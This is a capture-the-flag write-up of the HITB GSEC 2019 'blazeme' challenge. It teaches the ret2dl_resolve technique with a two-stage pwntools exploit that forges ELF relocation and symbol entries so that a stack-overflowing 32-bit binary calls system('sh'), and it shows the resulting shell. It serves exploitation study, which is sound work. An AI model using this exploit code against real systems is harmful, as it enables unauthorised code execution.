Hack in The Box Gsec CTF 2019 - Blazeme
Sources
https://github.com/fachrioktavian/ctf-writeup/tree/master/hitbgsec19/blazeme
Summary
I’ve got this challenge from friend who joined the hitbgsec ctf in Singapore last year. This challenge refreshes my memory about a technique called ret2dl_resolve. It’s a technique like ret2libc, but because the limitation of libc function in the binary so we return the binary using lazy binding mechanism of _dl_resolve()
function.
Overview
The binary is a simple binary, it reads input exits. Nothing fancy, no funtion to read flag or libc’s system function.
int __cdecl main()
{
char buf;
read(0, &buf, 200u);
return 0;
}
Binary’s protection:
❯ checksec blazeme
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
The bugs
From the Overview section above we should now that it’s a stack buffer overflow. Dynamic binary, No canary and NX protection found, so basically we will solve this challenge using ret2libc. But again there isn’t any function that useful to leak libc address.
Exploitation’s scenario
-
Because we can’t leak anything, first we should defeat ASLR by read our payload to BSS segment and jump to it. Thank god no PIE enable.
-
Calling
_dl_resolve()
to resolves and callssystem("sh")
.
Exploitation
Helper
Some variable that we need in the exploitation process, will talk about it in the Stage 2’s section.
r = process("./blazeme", aslr=1)
read_plt = 0x080482f0
tmp_got = 0x0804a000
ELF_JMPREL_Rel_Tab = 0x08048298
ELF_String_Tab = 0x0804821C
ELF_Symbol_Tab = 0x080481CC
leave_ret_gdt = 0x08048388
bss_segment = 0x0804af00
_dl_resolve = 0x080482e0
pad = "A"*108
Stage 1. Reads stage2 payload and jump to it, defeat ASLR
Using ret2libc we craft payload to read stage2 payload and jump to it using leave; ret;
gadget.
stage1 = flat(pad, p32(bss_segment), p32(read_plt), p32(leave_ret_gdt), p32(0), p32(bss_segment), p32(0x80))
r.send(stage1)
Binary then will reads our next input and stores it on BSS segment.
Stage 2. Return to _dl_resolve()
Elf relocation
We know that for a dynamic binary, when it calls a libc function (e.g read
) for the first time, the Linker (we know as LD
) will search it in the libc then executes the function. After that the address of read
will placed in GOT segment and can be use for the next function call.
Dynamic section
In the ELF binary there is a dynamic section that’s used for LD to resolve symbols at runtime.
❯ readelf -d blazeme
Dynamic section at offset 0xf14 contains 24 entries:
Tag Type Name/Value
0x00000001 (NEEDED) 0x1
0x0000000c (INIT) 0x80482b0
0x0000000d (FINI) 0x80484c4
0x00000019 (INIT_ARRAY) 0x8049f08
0x0000001b (INIT_ARRAYSZ) 4 (bytes)
0x0000001a (FINI_ARRAY) 0x8049f0c
0x0000001c (FINI_ARRAYSZ) 4 (bytes)
0x6ffffef5 (GNU_HASH) 0x80481ac
0x00000005 (STRTAB) 0x804821c
0x00000006 (SYMTAB) 0x80481cc
0x0000000a (STRSZ) 74 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x804a000
0x00000002 (PLTRELSZ) 24 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x8048298
0x00000011 (REL) 0x8048290
0x00000012 (RELSZ) 8 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x8048270
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x8048266
0x00000000 (NULL) 0x0
For exploitation, we will focus on STRTAB
(ELF String Table), SYMTAB
(ELF Symbol Table), and JMPREL
(ELF Relocation Table).
JMPREL
JMPREL segment (‘PLT’ Relocation section) stores a table called relocation table
. Each entry maps to a symbol and the size of each entry is 8 bytes.
❯ readelf --use-dynamic -r blazeme
'REL' relocation section at offset 0x8048290 contains 8 bytes:
Offset Info Type Sym.Value Sym. Name
08049ffc 00000206 R_386_GLOB_DAT 00000000 <string table index: 49>
'PLT' relocation section at offset 0x8048298 contains 24 bytes:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 <string table index: 26>
0804a010 00000207 R_386_JUMP_SLOT 00000000 <string table index: 49>
0804a014 00000307 R_386_JUMP_SLOT 00000000 <string table index: 31>
# disasm of blazeme
LOAD:08048298 ; ELF JMPREL Relocation Table
LOAD:08048298 Elf32_Rel <804A00Ch, 107h> ; R_386_JMP_SLOT read
LOAD:080482A0 Elf32_Rel <804A010h, 207h> ; R_386_JMP_SLOT __gmon_start__
LOAD:080482A8 Elf32_Rel <804A014h, 307h> ; R_386_JMP_SLOT __libc_start_main
The entries’ struct type is Elf32_Rel
which define in macros:
typedef uint32_t Elf32_Addr ;
typedef uint32_t Elf32_Word ;
typedef struct
{
Elf32_Addr r_offset ; /* Address */
Elf32_Word r_info ; /* Relocation type and symbol index */
} Elf32_Rel ;
#define ELF32_R_SYM(val) ((val) >> 8)
#define ELF32_R_TYPE(val) ((val) & 0xff)
If we take a look on first entry of PLT relocation section there is symbol read
:
-
Offset
orr_offset
saves GOT address ofread
0x0804a00c -
Info
orr_info
stores the metadata ofELF32_R_SYM
andELF32_R_TYPE
.r_info
0x107,from defined macros we know thatELF32_R_SYM
is 1 ((val) » 8) andELF32_R_TYPE
is 7 ((val) & 0xff)
SYMTAB
SYMTAB segments(ELF Symbol Table) stores relevant symbols information. The type of each entry is ELF32_Sym
struct and the size is 16 bytes. The type is define as:
typedef struct
{
Elf32_Word st_name ; /* Symbol name (string tbl index) */
Elf32_Addr st_value ; /* Symbol value */
Elf32_Word st_size ; /* Symbol size */
unsigned char st_info ; /* Symbol type and binding */
unsigned char st_other ; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx ; /* Section index */
} Elf32_Sym ;
pwndbg> x/4wx 0x080481DC
0x80481dc: 0x0000001a 0x00000000 0x00000000 0x00000012
The first value st_name
holds the offset of name of the symbols starts in STRTAB
.
STRTAB
STRTAB segments(ELF String Table) is a table that stores strings of symbols name.
LOAD:0804821C ; ELF String Table
LOAD:0804821C byte_804821C db 0
LOAD:0804821C
LOAD:0804821D aLibcSo6 db 'libc.so.6',0
LOAD:08048227 aIoStdinUsed db '_IO_stdin_used',0
LOAD:08048236 aRead db 'read',0
LOAD:0804823B aLibcStartMain db '__libc_start_main',0
LOAD:0804823B
LOAD:0804824D aGmonStart db '__gmon_start__',0
LOAD:0804825C aGlibc20 db 'GLIBC_2.0',0
If we look at JMPREL section, ELF32_R_SYM of read
is 1 and st_name is 0x1a. This information is used to get value in STRTAB.
pwndbg> x/s 0x0804821C + (1*0x1a)
0x8048236: "read"
_dl_runtime_resolve()
When resolver runs, it calls _dl_runtime_resolve(link_map, rel_offset). The rel_offset gives offset of the Elf32_Rel
struct in JMPREL table. link_map
gives address of list with all loaded libraries. _dl_runtime_resolve() will use that address to stores resolved read function from libc. So basically it’s just need a writable address. The pseudocode that describes what _dl_runtime_resolve() does is:
// call of unresolved read(0, buf, 0x100)
_dl_runtime_resolve(link_map, rel_offset) {
Elf32_Rel * rel_entry = JMPREL + rel_offset ;
Elf32_Sym * sym_entry = &SYMTAB [ ELF32_R_SYM ( rel_entry -> r_info )];
char * sym_name = STRTAB + sym_entry -> st_name ;
_search_for_symbol_(link_map, sym_name);
// invoke initial read call now that symbol is resolved
read(0, buf, 0x100);
}
Building payload
With knowing concept of JMPREL, SYMTAB, STRTAB, and how _dl_runtime_resolve() works, then we can craft a payload that ask binary to call _dl_runtime_resolve to resolves symbol system then calls system('sh')
for us.
First calculate the address off Elf32_Rel
structure of system’s symbols that we create in stage2 as 0x08048298
is address of the top table of JMPREL.
crafted_area = bss_segment + 0x14
elf32_Rel_offset = crafted_area - ELF_JMPREL_Rel_Tab
Then calculate elf32_Sym_offset
and elf32_Sym_index
as 0x080481CC
is the address of top address of SYMTAB.
elf32_Sym_offset = crafted_area + 0x8
align = 0x10 - ((elf32_Sym_offset - ELF_Symbol_Tab) % 0x10)
elf32_Sym_offset += align
elf32_Sym_index = (elf32_Sym_offset - ELF_Symbol_Tab) / 0x10
Next, calculate elf32_Sym_st_name
value so _dl_runtime_resolve can find our “system” string.
elf32_Rel_r_info = (elf32_Sym_index << 8) | 0x7
elf32_Rel_data = flat(p32(tmp_got), p32(elf32_Rel_r_info))
elf32_Sym_st_name = (elf32_Sym_offset + 0x10) - ELF_String_Tab
elf32_Sym_data = flat(p32(elf32_Sym_st_name), p32(0), p32(0), p32(0x12))
Finally craft all stage 2 payload:
system_param_offset = bss_segment + 0x64
system_str = "system\x00"
system_param_str = "sh\x00"
stage2 = flat(
"JUNK",
p32(_dl_resolve),
p32(elf32_Rel_offset),
"JUNK",
p32(system_param_offset),
elf32_Rel_data,
"A"*align,
elf32_Sym_data,
system_str)
pad = "B" * (100 - len(stage2))
stage2 += flat(
pad,
system_param_str)
pad = "C" * (0x80 - len(stage2))
stage2 += flat(pad)
r.send(stage2)
Pwned
❯ python solve2.py
[+] Starting local process './blazeme': pid 6768
[*] Stage 1 > Read stage2 payload and jump to stage2
[*] Stage 2 > Ret2dl_resolve
[+] Pwned!
[*] Switching to interactive mode
$ uname -a
Linux fokt 5.0.0-31-generic #33~18.04.1-Ubuntu SMP Tue Oct 1 10:20:39 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux